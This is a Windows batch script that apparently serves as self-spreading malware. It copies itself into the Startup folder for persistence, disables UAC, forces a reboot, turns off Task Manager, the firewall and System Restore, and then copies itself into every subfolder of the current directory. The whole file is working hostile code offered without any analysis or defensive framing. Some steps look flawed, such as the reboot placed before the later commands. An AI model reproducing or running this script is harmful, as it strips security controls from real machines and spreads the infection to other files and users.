@echo off & setlocal enableDelayedExpansion

:: get OS
for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j
if "%version%" == "6.3" set "osv=8.1"
if "%version%" == "6.2" set "osv=8"
if "%version%" == "6.1" set "osv=7"
if "%version%" == "6.0" set "osv=Vista"
if "%version%" == "10.0" set "osv=10"

:: copy script to start up
copy /y "%~F0" "%programData%\Microsoft\Windows\Start Menu\Programs\StartUp" >nul

:: use powershell to disable UAC
PowerShell  ^
    New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force  ^
%End PowerShell%

:: reboot PC
shutdown /r >nul

:: disable taskmanager
Set "hklm=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
reg add "%hklm%" /v DisableTaskMgr /t REG_SZ /d 1 /f >nul

:: disable firewall
Netsh Firewall Set Opmode Disable

:: disable system restore
@echo Shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR","1","REG_DWORD">%temp%\rstrui_kill.vbs
@echo Shell.regwrite "HKLM\SYSTEM\CurrentControlSet\Services\sr","4","REG_DWORD" >>%temp%\rstrui_kill.vbs
start %temp%\rstrui_kill.vbs



:: spread
set currentDirectory=%CD%
FOR /D %%g IN ("*") DO (
    Pushd %CD%\%%g
    FOR /D %%f IN ("*") DO (
        copy /Y "%currentDirectory%\%~n0.bat" "%%~ff"
    )
Popd
)